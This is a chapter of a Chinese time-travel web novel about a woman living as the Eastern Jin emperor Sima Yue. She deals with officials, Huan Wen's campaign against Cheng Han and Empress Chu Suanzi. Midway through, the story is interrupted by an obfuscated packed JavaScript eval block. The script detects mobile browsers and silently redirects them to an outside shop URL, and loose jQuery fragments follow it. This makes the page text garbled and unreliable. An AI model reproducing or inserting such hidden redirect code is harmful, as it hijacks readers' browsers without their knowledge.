感觉只过了一瞬,却到了东晋。秦晓清知道,这就是建康了。也就是江苏南京。
南方在东晋时期才开发得比较好,不过不管古代现代,穿越了几次,秦晓清都没有到过南京。
她感觉自己靠着桥,看着柳树,于是站好,“系统,这三年的记忆,都给我吧。”
“这日子可怎么过啊?晋朝怎么还不亡啊!”大娘抹着眼泪,发现一直陪她说话宽慰她的公子不说话了。
看起来低着头不知道在干什么?她连忙推了推,“公子?公子?”
“啊?怎么了?”怎么就要晋朝亡了?
“我老妇人跟你说了这么久也够了,家里的马贱卖了,我也没了主意,找事去了。不然以后粥都吃不上。”大娘要告辞。
“别啊,咱们再说会儿,待会儿我请大娘吃饭,喝酒吃肉好不好?”秦晓清连忙拦住大娘,人家说了那么多,废了口水,不给点好处怎么对得起人家?
大娘家里养马,但不富裕,一天只能吃一顿干饭。听到了酒肉二字就流口水,迈不动脚。
“这怎么好?”
“好,我家里钱不多,请大娘吃一顿饭的钱还是有的。大娘的马卖得贱了,就没想办法?管养马收马的人是王家的。现在王家有个人受陛下重用,是个好官,你求他去?”
大娘连连摇头:“谁求他,都是一家的,会帮我这个外人?皇帝是好的,就是这些官心太坏了!”
秦晓清摇头,“王羲之,大娘知道吗?他就是那个好官,大娘找他去,他一定管这事。”
“王羲之?字写得很好的那个?”
这位建康的大娘还真知道这个人,“好,吃过饭,我找他去!”
“好,吃饭。”秦晓清带着大娘去吃饭,席间,两人还谈了不少乡村里的事。秦晓清知道了不少民间疾苦,满意地回宫。
走在路上的时候,却突然被一个人拦住了。拉到拐角处,那人便下拜,口称陛下。
“在外面不要这样称呼我。”秦晓清连忙说。心里却挫败,又被人认出来了,估计是个当官的。
王凝是因为皇帝司马岳开科举取士,才能当官。虽然只是建康城里的一个小官,但也很满意了。
“是。秦公子以后不要这样了,君子不立危墙之下。建康城的世家这么多…”王凝的声音越来越低。
这三年,秦晓清一直在整顿国家。虽然国力有所上升,威信也增加了,但王谢两族依然地位不低。
其他世家的力量被削弱,被敲骨吸髓的百姓得到了喘息之机,秦晓清却也树敌不少。不过她是皇帝,拿她没办法。皇帝出来了,那就各凭本事了。
秦晓清也怕死,却还是要出来。她明白,这是因为清谈的人还太多,做实事的浊流还太少,皇帝不能足够掌握民间情况。而且要推行科举,降低世家大族影响力,皇帝需要自己多多发掘人才。
她一向谨慎,所以出宫一定是很必要的。
“世家多而无用,我还是得出来啊!”
王凝想,陛下一死,他们这些人估计也会被罢官再也别想当官了。这段当官的日子多么荣耀,陛下怎么能死呢?
“陛下若是出宫,一旦崩殂,现在的大好局面都尽失了。这还不算,怕世家大族还会反攻,把百姓都榨干净才好。那时大晋恐怕要亡于胡人之手了!”
“不至于!石虎虽然精明但太残暴了。我大晋还有谢…”
秦晓清想说谢安,可到那时候欺压百姓恐怕就是新的政治正确了,谢安也没办法。而且谢安出身陈郡谢氏,顶级门阀,恐怕想的也是再苦一苦百姓吧?”
挽救东晋,和放纵世家欺压百姓,都可以是他。
“那…真不出来了?”秦晓清不想困在宫里,可是听起来她确实死不得,而且她也不想死。
“嗯,真不出来。以后局面好转,自有我等扶助陛下。”王凝义正言辞。
秦晓清突然笑了,“我有办法了!”
王凝疑惑地看着皇帝。
“你不要管,我现在就回去,我有办法了。”秦晓清非常自信。
王凝一头雾水,但也替皇帝高兴。
陛下一死,她这样的寒门女官估计再也别想当官了,只能去给高门大户做妾,以色侍人,或者嫁给寒门士子为妻。
现在陛下有办法,她就不用嫁人了。
秦晓清的办法就是扮成女人!
反正她本来就是女人,司马岳的身材扮成女人也不难。以后找个宫女陪着,出去找大姐大娘们说话也容易。
秦晓清回了宫,第一时间就下诏免了养马人的官,又换上了科举上来的人的官。王羲之在一旁看着,虽然是一家人,但他觉得陛下这样才是明君。
”你也是王家的人,你说,朕是不是该免了他的官?”
王羲之恭敬道:“应该,哪有这样不问庶务的官员。”
其实,两人都知道,东晋还有很多这样的官员。
“朕要继续北伐提升威望,但现在后赵石虎精明,不能硬碰硬。不对,我们都挺软的。不过也不能相持消耗国力,不然两败俱伤,成汉却得了好处。”
王羲之也有北伐之心,“那,先打成汉?”
“打成汉!帮朕写诏书,朕要召见桓大将军,与他商量攻打成汉之事。”
“是!”
桓温得了诏书,三年磨一剑,他这把剑终于可以出鞘了!他一人一骑,飞奔入京。
“不能流芳百世,不如遗臭万年。”这话就是历史上的桓温说的。成了权臣以后,更是想要废了皇帝,篡位登基。
但现在桓温三十来岁就遇到明君,自然想着流芳百世,不想遗臭万年。
“陛下,臣来了。”
“桓将军,请坐。朕三年前就和你说,三年后必定让你打一个打胜仗,好好证明自己的能力,现在机会来了。”
桓温抱拳:“只要给臣足够的粮草,两年之内一定打下后赵,收复故土,还都洛阳!”
“不是后赵,是成汉。”
“成汉?陛下,它太小了。陛下宠信王羲之,不如把这个功劳给他?臣要北伐。”桓温不听,他早就想好要怎么北伐了。
“不如这样,你带兵假装北伐,其实偷袭成汉。这样成汉始料未及,你肯定大破成汉。破城以后不伤百姓分毫,还怕不能名垂青史吗?现在世界上都是什么人?你和他们就是一个天一个地。”
秦晓清习惯性地哄着桓温。
桓温一想,觉得非常有道理。“陛下,粮草可一定要够。”
“放心,不会再让你被人坑了。”
“陛下这么说,臣就放心了。”
桓温回去准备了,要回荆州调兵遣将。
秦晓清确定桓温走远了,问系统:“记忆里,复制体和桓温关系不错,我感觉桓温很可怕啊,她怎么敢用?”
系统:“她认为此时桓温只想得遇明主,还没有篡位的野心。那就给他权力给他明君。而且,他十六岁就丧父,她有和他父亲桓彝的相处经历,可以拉进关系。”
“妙啊!”秦晓清放了心。
秦晓清觉得自己挺闲的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985878|134237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我怎么有空去建康城里,我不是应该很忙吗?”
“国土没了一半,确实应该闲很多。”秦晓清吐槽道。
系统:“皇后为你分担了一部分政务。”
系统说完,秦晓清脑子里就浮现了皇后褚蒜子的身影。是个清丽的美人,似乎也有能力。但秦晓清对她没有感情。
她还没忘了卫珉呢!
“她还是和之前一样,遣散后宫,只留皇后吗?这个皇后似乎不错,有她陪着很安心。”秦晓清往皇后宫里走。
系统:“不止是不错,她很喜欢皇后。”
“那看来皇后应该是个很好的人了。”秦晓清感叹。
“多谢陛下夸奖。”褚蒜子在皇帝背后行礼。
秦晓清转过头,看到了皇后,二十来岁的样子。很有皇后的雍容华贵,身后跟着一大堆宫女。
她不太想亲近皇后,所以只是点点头,进了皇后宫里。复制体觉得皇后不会刺杀她,很安全,她不信要亲自来看看。
褚蒜子见皇帝不如往日那样亲近自己,想着莫不是谢家人又有吃着晋禄不做事的。于是奉茶,“皇帝可是生妾的气?谢家家大业大,人口众多…”
“不是,你把谢家人管束得好,是王家的不干活,而且我也没有生气。”秦晓清接过了茶,态度依然淡淡的。
褚蒜子摸不着头脑,只好关心,“陛下可吃过饭了?我上些点心来?晚上风大,不如陛下在这里安寝?”
后一句,褚蒜子带了一些试探。
秦晓清并不想吃点心,但耐不住这里的东西更合口味更好吃,忍不住点头:“要,上一些来。”
“好,晚上就在你这睡,我不想一个人。”
秦晓清在熟悉的地方,想起了这三年里和褚蒜子相处,不由得非常欣赏她。想和她亲近,多相处。
“你好厉害啊!”
莫名得到了皇帝的赞扬,褚蒜子却已经习惯了。皇帝总爱这样,这才是她熟悉的皇帝。她叫人拿来披风,亲自给皇帝披上。
“外面风大,到里面热一会儿。这会儿不披上,再晚点就该觉得冷了。”褚蒜子的态度非常亲昵。
秦晓清现在确实已经觉得有点冷了。
披上以后她的心也温暖很多,“我真是有了个贤后啊!有了你,我就可以到处去玩了。”
“又胡说,陛下可是要统一天下的,要做的事情多着呢。妾不过为陛下分担一点儿。”褚蒜子的话,娇中带嗔。
听着让人很舒服,还让人觉得自己是个大丈夫。
秦晓清不由得嫉妒司马岳,他怎么配得上这么好的皇后,真是有福气!
褚蒜子却觉得皇帝更好,她出身褚家,母亲出身陈郡谢氏。她不得不为两家打算,皇帝却不纵容司马家的宗室,他们现在比谢家人还乖顺许多。
吃完饭,帝王夫妻俩不免还要处理政务。然后就该息蜡休息了,秦晓清刚来一天,还需要适应适应,迫不及待地上了床。
褚蒜子也跟着上了床。
“现在大晋还没有太子,咱们生一个太子出来好不好?”她抚摸着皇帝的背问。
这情境很熟悉啊!秦晓清反映过来,她们似乎已经有过肌肤之亲了。皇后来真的?她立刻离皇后八米远。
褚蒜子很伤心,“皇帝避我如蛇蝎,是妾做错了什么?”她伏下身哭了起来。
秦晓清意识到自己过激了。连忙靠回去,皇后却避着她了。
“太子?我们还没有太子?不对,我是继承了兄长的皇位,皇位最好是还给他的后代。”